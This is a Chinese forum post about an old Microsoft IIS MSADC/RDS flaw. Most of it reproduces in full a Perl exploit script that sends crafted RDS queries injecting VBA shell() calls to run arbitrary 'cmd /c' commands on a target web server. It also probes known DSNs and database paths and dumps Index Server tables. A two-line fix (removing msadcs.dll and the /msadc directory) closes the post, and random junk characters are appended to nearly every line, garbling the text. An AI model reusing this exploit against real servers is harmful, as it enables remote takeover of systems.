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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) )bg|l?  
< h#7;o  
涉及程序: #)}BY"C%  
Microsoft NT server C]Fw*t   
Do(G;D`h+_  
描述: '|gsmO  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 7l7VT?<:  
; s(bd#Q  
详细: sq=EL+=j  
如果你没有时间读详细内容的话,就删除: V06*qQ[  
c:\Program Files\Common Files\System\Msadc\msadcs.dll f&$Bjq  
有关的安全问题就没有了。 9iT9ZfaW  
A o* IshVh  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 2 K_ QZ  
6)sKg{H  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 tC'#dU`=qY  
关于利用ODBC远程漏洞的描述,请参看: rL\}>VC)  
Yp(0XP5o  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <U$YJtEK  
1M`>;fjYa  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 <SJ6<'  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 7[=G;2<  
8qkQ*uJP  
这里不再论述。 dm/3{\ 4  
7W}%ralkg  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: "yH?df24  
!r.-7hR$  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset D'[:35z  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 9+y&&;p  
~ ?nn(Q-  
dlvU=^G#G  
#将下面这段保存为txt文件,然后: "perl -x 文件名" r3x;lICx-  
]+`K\G ^X  
#!perl d s`YVXKH  
# FrMXf,}  
# MSADC/RDS 'usage' (aka exploit) script \\EX'L  
# 9Avj\G  
# by rain.forest.puppy &wU"6E  
# ( !@gm)#h  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ^}2!fRKAmo  
# beta test and find errors! T7i>aM$+  
"3jTU  
use Socket; use Getopt::Std; KPy)%i  
getopts("e:vd:h:XR", \%args); (@N ILK  
,>#\aO1n  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ZzK^ bNx)0  
RUr ~u  
if (!defined $args{h} && !defined $args{R}) { g:RS7od=,  
print qq~ 6v{&,q  
Usage: msadc.pl -h <host> { -d <delay> -X -v } fahQ^#&d`  
-h <host> = host you want to scan (ip or domain) QN;5+p[N  
-d <seconds> = delay between calls, default 1 second Mm,\e6#*  
-X = dump Index Server path table, if available M5RN Z%  
-v = verbose M p <r`PM2  
-e = external dictionary file for step 5 #<Y3*^~5d  
=~D[M)UO|  
Or a -R will resume a command session A ___| #R  
Ma\%uEgTD  
~; exit;} m^BXLG:b  
5vD\?,f E  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; -`ljKp  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} EyR/   
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} r=.@APZB  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); G "+[@|  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} f\?Rhyz  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 1d!s8um;  
FLJ&ZU=s  
if (!defined $args{R}){ $ret = &has_msadc; { #B/4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} prM)t8SE  
uB\UIz)e  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" w8 S pt  
. "cmd /c "; ,y"vf^BE.  
$in=<STDIN>; chomp $in; z z]~IxQ  
$command="cmd /c " . $in ; A]Hz?i  
R%LFFMVn  
if (defined $args{R}) {&load; exit;} &b~ X&{3,  
7Z +Fjy-B  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; kqX %y  
&try_btcustmr; noaR3)  
MYV3</Xj*  
print "\nStep 2: Trying to make our own DSN..."; `[E-V  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; {pi_yr3  
C:&Sk\   
print "\nStep 3: Trying known DSNs..."; wGMoh.GTh  
&known_dsn; >~7XBb08  
3;b)pQ~6CJ  
print "\nStep 4: Trying known .mdbs..."; mGg/F&G9  
&known_mdb; {88|J'*L  
~Ih` ayVq  
if (defined $args{e}){  e4_A`j'  
print "\nStep 5: Trying dictionary of DSN names..."; RpU i'  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } $#%R _G]  
V4u4{wU]  
print "Sorry Charley...maybe next time?\n"; ~%tVb c  
exit; g_PP 9S_?  
o S{hv:)>  
############################################################################## b!MN QGs  
<Ed;tq  
sub sendraw { # ripped and modded from whisker 9pi{)PDJ  
sleep($delay); # it's a DoS on the server! At least on mine... Q7`)&^ Hx  
my ($pstr)=@_; =MJRQ V67  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || k 5% )  
die("Socket problems\n"); S_*Gv O  
if(connect(S,pack "SnA4x8",2,80,$target)){ rpEIDhHv  
select(S); $|=1; 2T%sHp~qt  
print $pstr; my @in=<S>; |0p@'X1  
select(STDOUT); close(S); US's`Ehx  
return @in; }#~E-N3x  
} else { die("Can't connect...\n"); }} v 9G~i  
a` 9pHH:7Q  
############################################################################## -#<{3BJTrz  
%c$|.TkX  
sub make_header { # make the HTTP request `o9:6X?RA  
my $msadc=<<EOT @ZYJY  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 2>.b~q@  
User-Agent: ACTIVEDATA mo tW7|p.e  
Host: $ip IEM{?  
Content-Length: $clen G{|"WaKW  
Connection: Keep-Alive 3KeY4b!h  
| Wj=%Ol%o  
ADCClientVersion:01.06 ' 8R5 Tl  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3  $AZ=;iP-  
&&jQ4@m}j  
--!ADM!ROX!YOUR!WORLD! 'lEIwJV$  
Content-Type: application/x-varg 2ER_?y  
Content-Length: $reqlen 37IHn6r\  
M d Eds|D  
EOT K}n.k[Do  
; $msadc=~s/\n/\r\n/g; j,%i.[8S  
return $msadc;} [SKDsJRPP  
O\oRM2^u}  
############################################################################## dA2@PKK  
[".94(qs  
sub make_req { # make the RDS request XdzC/ {G  
my ($switch, $p1, $p2)=@_; 8.%wnH  
my $req=""; my $t1, $t2, $query, $dsn; G.N `  
f]sR4mhO  
if ($switch==1){ # this is the btcustmr.mdb query iz[IK%K  
$query="Select * from Customers where City=" . make_shell(); U![$7k>,pr  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Dbx zqd  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} h1B_*L   
xe.f]a  
elsif ($switch==2){ # this is general make table query xHx_! )7  
$query="create table AZZ (B int, C varchar(10))"; [(3 %$?[  
$dsn="$p1";} 03iy[~Y2  
@qWClr{`  
elsif ($switch==3){ # this is general exploit table query ~ e<,GUx(]  
$query="select * from AZZ where C=" . make_shell(); V3|" v4  
$dsn="$p1";} '%+LQ"Bp  
Cnc=GTR i  
elsif ($switch==4){ # attempt to hork file info from index server G^;]]Ji"  
$query="select path from scope()"; .;U?%t_7  
$dsn="Provider=MSIDXS;";} BTO l`U  
lR F5/  
elsif ($switch==5){ # bad query n Jz*}=  
$query="select"; uHZjpMoM  
$dsn="$p1";} ~U]%>Zf  
(Xz q(QV  
$t1= make_unicode($query); Gw6Od j  
$t2= make_unicode($dsn); SEu:31k{o  
$req = "\x02\x00\x03\x00";  SN}3  
$req.= "\x08\x00" . pack ("S1", length($t1)); %k"hzjXAw  
$req.= "\x00\x00" . $t1 ; 5,O:"3>c  
$req.= "\x08\x00" . pack ("S1", length($t2)); WU/5i 8  
$req.= "\x00\x00" . $t2 ; hp7ni1V  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; wpNb/U  
return $req;} p Zxx  
q+;lxR5D  
############################################################################## 7bVKH[  
:.{d,)G  
sub make_shell { # this makes the shell() statement _S* QIbO  
return "'|shell(\"$command\")|'";} hr&UD|E=  
"cOBEhn%l  
############################################################################## m<;MOS  
ulEtZ#O{_  
sub make_unicode { # quick little function to convert to unicode 3+ C;zDKa  
my ($in)=@_; my $out; VVuNU"-  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } +,i_G?eX  
return $out;} ,WoB)V.{(  
*uxKI:rB:  
############################################################################## }`2+`w%uZ  
jrm^n_6};  
sub rdo_success { # checks for RDO return success (this is kludge) R(}!gv}s  
my (@in) = @_; my $base=content_start(@in); ;d}n89DXj  
if($in[$base]=~/multipart\/mixed/){ Un+-  T  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} w8KxEV=  
return 0;} ;?-{Uk  
`$JOFLa  
############################################################################## D-m%eP.  
ePSD#kY5  
sub make_dsn { # this makes a DSN for us |\C.il7  
my @drives=("c","d","e","f"); ,W]}mqV%.'  
print "\nMaking DSN: "; :4\_upRE  
foreach $drive (@drives) { h7xgLe@  
print "$drive: "; h-m0Ro?6  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ,oEAWNbgQ  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" b$*G&d5  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Jcp=<z*0  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; d(5j#?  
return 0 if $2 eq "404"; # not found/doesn't exist p-z!i+  
if($2 eq "200") { (f* r  
foreach $line (@results) { AO7X-,  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 7 lq$PsC  
} return 0;} J|z' <W  
?Qpi(Czbpq  
############################################################################## %yR 80mn8  
YR)^F|G  
sub verify_exists { -H 5-6w$  
my ($page)=@_; #TgP:t]p  
my @results=sendraw("GET $page HTTP/1.0\n\n"); *JWPt(bnI  
return $results[0];} cvpZF5mL]U  
Sx_j`Cgy  
############################################################################## &k(tDP  
 |>Pv2  
sub try_btcustmr { IJ{VCzi  
my @drives=("c","d","e","f"); *@YQr]~ ;  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 6iEA._y  
{PL,3EBG  
foreach $dir (@dirs) { y}W*P#BDO  
print "$dir -> "; # fun status so you can see progress  Kc3/*eu;  
foreach $drive (@drives) { Xs2B:`,hh  
print "$drive: "; # ditto k$,y1hH;f8  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; :mdoGb$ dr  
$reqlenlen=length( "$reqlen" ); V* ,u;*  
$clen= 206 + $reqlenlen + $reqlen; b#S-u }1PE  
\qJ^n %  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); &';@CeK  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Ds8x9v)^  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 8nSw7:z  
UwDoueXs  
############################################################################## `ih#>i_ &  
'?E@H.""  
sub odbc_error { *m 6*sIR  
my (@in)=@_; my $base; ?Xp+5{  
my $base = content_start(@in); c,*a|@  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ;tZ8Sh)  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {Q0DHNP(G  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Bf,}mCq  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; n+'s9  
return $in[$base+4].$in[$base+5].$in[$base+6];} t.7_7`bin~  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; $bk_%R}s  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 52*KRq o  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} r"lh\C|  
&{x`K4N  
############################################################################## Wk/Il^YG  
ZgzYXh2  
sub verbose { Ak\"C4s  
my ($in)=@_; ^P*+0?aFr  
return if !$verbose; <yKyM#4X  
print STDOUT "\n$in\n";} m&Y?]nbq  
w`Rt"d_B  
############################################################################## _b[Pk;8}j;  
\@7 4I7  
sub save { &KeD{M%  
my ($p1, $p2, $p3, $p4)=@_; ?zK>[L  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; g^k=z:n3,  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 7$:Jea  
close OUT;} MV?sr[V-oP  
NV3oJ0f&2  
############################################################################## j<vU[J+gx~  
.zdmUS :  
sub load { wV{VV?h}  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Wp= &nh  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); XP@&I[J3sI  
@p=<IN>; close(IN); .@Jos^rxgJ  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Dr#V^"Dte  
$target= inet_aton($ip) || die("inet_aton problems"); < 'r<MA<  
print "Resuming to $ip ..."; X*M--*0q'  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; j1dz'G}hj  
if($p[1]==1) { w8-L2)Q}I  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; RSF@Oo{  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; /oU$TaB>(  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); *zDL 5 9  
if (rdo_success(@results)){print "Success!\n";} JjQTD-^  
else { print "failed\n"; verbose(odbc_error(@results));}} K`cy97  
elsif ($p[1]==3){ V8z*mnD  
if(run_query("$p[3]")){ {?uswbk.  
print "Success!\n";} else { print "failed\n"; }} mP ^*nB@,  
elsif ($p[1]==4){ `)1qq @  
if(run_query($drvst . "$p[3]")){ C2K<CDVw  
print "Success!\n"; } else { print "failed\n"; }} 3;EBKGg|  
exit;} ? )"v~vs  
qo}u(p Oj|  
############################################################################## l,E4h-$  
S2 YxA  
sub create_table { + oNr c.  
my ($in)=@_; A:,V)  
$reqlen=length( make_req(2,$in,"") ) - 28; A@I3:V  
$reqlenlen=length( "$reqlen" ); j!?bE3r~  
$clen= 206 + $reqlenlen + $reqlen;  W o$UV  
my @results=sendraw(make_header() . make_req(2,$in,"")); El3Ayd3  
return 1 if rdo_success(@results); i&,1  
my $temp= odbc_error(@results); verbose($temp); ! 9=Y(rb  
return 1 if $temp=~/Table 'AZZ' already exists/; 6E:5w9_=c  
return 0;} f.U.(  
7, :l\t  
############################################################################## :N:e3$c  
?B:],aztf  
sub known_dsn { 4yRX{Bl|  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 8)&J oPN  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 7e<\11uI]a  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", unkA%x{W;  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); X0%BE!  
qnU$Pd  
foreach $dSn (@dsns) { vXc gl  
print "."; 3+:uV  
next if (!is_access("DSN=$dSn")); q&EwD(k  
if(create_table("DSN=$dSn")){ N+ei)-  
print "$dSn successful\n"; HlX2:\\  
if(run_query("DSN=$dSn")){ ]"\XTL0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7o`pNcabtz  
print "Something's borked. Use verbose next time\n";}}} print "\n";} PAy7b7m~B  
o(Ro/U(Wu  
############################################################################## Sy34doAZ  
z%WOv ~8~  
sub is_access { `k'Dm:*`u4  
my ($in)=@_; AG,;1b,:81  
$reqlen=length( make_req(5,$in,"") ) - 28; Kl+4A}Uo  
$reqlenlen=length( "$reqlen" ); d Y]i AJ  
$clen= 206 + $reqlenlen + $reqlen; b]5S9^=LI  
my @results=sendraw(make_header() . make_req(5,$in,"")); q|R$A8)L.  
my $temp= odbc_error(@results); 4S,/Z{ J.  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 3a6  
return 0;} Z`bo1,6>  
%v1*D^))  
############################################################################## *XqS~G  
*", BP]]  
sub run_query { kv?j]<WN  
my ($in)=@_; x\6i(k-  
$reqlen=length( make_req(3,$in,"") ) - 28; #h7 $b@  
$reqlenlen=length( "$reqlen" ); 'd|E>8fejG  
$clen= 206 + $reqlenlen + $reqlen; 7:h_U9Za?$  
my @results=sendraw(make_header() . make_req(3,$in,"")); ?nx 1{2[  
return 1 if rdo_success(@results); Q02:qn?T  
my $temp= odbc_error(@results); verbose($temp); #+PfrS=  
return 0;} 82Nw 6om6i  
.1?7)k v  
############################################################################## `v$Bib)  
3 p9LVa  
sub known_mdb { I}7= \S/@  
my @drives=("c","d","e","f","g"); wi-{&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?anKSGfj  
my $dir, $drive, $mdb; +jz%:D  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; I'16-  
H.: [# a  
# this is sparse, because I don't know of many m3iB`  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 3` \)Qm  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", X+k`UM~  
"\\system32\\certmdb.mdb", s2\6\8Ipn  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% _<G%  
rlVo}kc7:  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", } T<oLvS  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 4xNzhnp|  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", O\qY? )  
"\\cfusion\\cfapps\\security\\realm_.mdb", \%:]o-+"I  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", >iB-gj}>X  
"\\cfusion\\database\\cfexamples.mdb", b'~IFNt*^  
"\\cfusion\\database\\cfsnippets.mdb", i3\6*$Ug  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", wPU<jAQyp  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", <S%kwS  
"\\cfusion\\brighttiger\\database\\cleam.mdb", @IwVR  
"\\cfusion\\database\\smpolicy.mdb", QG=&{-I~[3  
"\\cfusion\\database\cypress.mdb", SB`"%6  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", " ^:$7~%bA  
"\\website\\cgi-win\\dbsample.mdb", |MXv  w6P  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 4 jeUYkJUM  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" auT$-Ki8  
); #these are just i#y3QCNqf^  
foreach $drive (@drives) { 6J%+pt[tu  
foreach $dir (@dirs){ N8:&v  
foreach $mdb (@sysmdbs) { iVGc\6+'  
print "."; *Ad7GG1/u  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ yS:1F PA$_  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 2Md'<.  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ IKV:J9  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ZIrJ"*QO=  
} else { print "Something's borked. Use verbose next time\n"; }}}}} A?sU[b6_  
PNMf5'@m  
foreach $drive (@drives) { x2g P, p-  
foreach $mdb (@mdbs) { a0ze7F<(  
print "."; ]tVXao  
if(create_table($drv . $drive . $dir . $mdb)){ :-kXZe  
print "\n" . $drive . $dir . $mdb . " successful\n"; IW'2+EGc  
if(run_query($drv . $drive . $dir . $mdb)){ f@a@R$y  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; R9z^=QKcH  
} else { print "Something's borked. Use verbose next time\n"; }}}} )vFZl]  
} (e;9 ,~u)  
P>t[35/1  
############################################################################## ZXj;ymC'  
Tse Pdkk  
sub hork_idx { Wd_cNR\  
print "\nAttempting to dump Index Server tables...\n"; #D{//P|;  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; gZr/Dfy  
$reqlen=length( make_req(4,"","") ) - 28; O/=i'0X v  
$reqlenlen=length( "$reqlen" ); _('KNA~  
$clen= 206 + $reqlenlen + $reqlen; kDG'5X;+  
my @results=sendraw2(make_header() . make_req(4,"","")); jHx<}<  
if (rdo_success(@results)){ :i6k6=  
my $max=@results; my $c; my %d; ;|LS$O1c  
for($c=19; $c<$max; $c++){ $yx34=  
$results[$c]=~s/\x00//g; sR. ecs+  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; IFY,j8~q  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; pMX#!wb  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; sm>Hkci%  
$d{"$1$2"}="";} afMIqQ?  
foreach $c (keys %d){ print "$c\n"; } JDzk v%E^  
} else {print "Index server doesn't seem to be installed.\n"; }} d>Z{TFY  
*?+maK{5+  
############################################################################## Y(]&j`%  
,1YnWy *  
sub dsn_dict { 1!E+(Iq  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); k+S 6)BQ7U  
while(<IN>){ &,Xs=Lv mq  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; vx\h Njb  
next if (!is_access("DSN=$dSn")); X=p~`Ar M{  
if(create_table("DSN=$dSn")){ -R;.Md_  
print "$dSn successful\n"; WM}bM] oe  
if(run_query("DSN=$dSn")){ k'BLos1W  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Ek,s6B)'d  
print "Something's borked. Use verbose next time\n";}}} ;mLbJT   
print "\n"; close(IN);} 2Ax HhD.  
Tdr^~dcQ  
############################################################################## [-sE:O`yt  
[N/[7Q/y  
sub sendraw2 { # ripped and modded from whisker u= K?K  
sleep($delay); # it's a DoS on the server! At least on mine... gi7As$+E  
my ($pstr)=@_; n8M/Y}mH   
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || M,Px.@tw.  
die("Socket problems\n"); *s6MF{Ds  
if(connect(S,pack "SnA4x8",2,80,$target)){ |^ml|cb  
print "Connected. Getting data"; zSYWNmj&  
open(OUT,">raw.out"); my @in; iD|"}}01  
select(S); $|=1; print $pstr; PaEsz$mgy  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} &0 VM <  
close(OUT); select(STDOUT); close(S); return @in; y\Z-x  
} else { die("Can't connect...\n"); }} 8fdK|l w  
F~ n}Ep~1  
############################################################################## }q(IKH\&  
AX%9k  
sub content_start { # this will take in the server headers >29eu^~nh  
my (@in)=@_; my $c; 5CkM0G`  
for ($c=1;$c<500;$c++) { -9U'yL90B  
if($in[$c] =~/^\x0d\x0a/){ |Js96>B:  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } m)q;eQs  
else { return $c+1; }}} (iK0T.  
return -1;} # it should never get here actually ,F J9C3  
t?v0ylN  
############################################################################## kvdzD6T 9  
'lv\I9"S)  
sub funky { ,h1r6&MEY  
my (@in)=@_; my $error=odbc_error(@in); h.QKbbDj  
if($error=~/ADO could not find the specified provider/){ ,7pO-:*g  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; HFx8v!^5N  
exit;} '8>#`Yba  
if($error=~/A Handler is required/){ T"Wq:  
print "\nServer has custom handler filters (they most likely are patched)\n"; )*^PMf  
exit;}  -[a0\H  
if($error=~/specified Handler has denied Access/){ h"YIAQ',  
print "\nServer has custom handler filters (they most likely are patched)\n"; d*1@lmV*  
exit;}} / vge@bsE  
79a{Zwdd9j  
############################################################################## Ah &D5,3  
0}Xkj)R,  
sub has_msadc { COj50t/  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); "0g1'az}  
my $base=content_start(@results); @)m+O#a  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); F5J=+Q%8[&  
return 0;} ;G~0 VM2|  
9h$-:y3  
######################## o"v> BhpC  
$<]y.nr|CX  
lE[LdmwDrb  
解决方案: >.#uoW4ZV  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll JPiC/  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ~/\;7E{8!  
s+^o[R T3  
拿出来充数 哈哈
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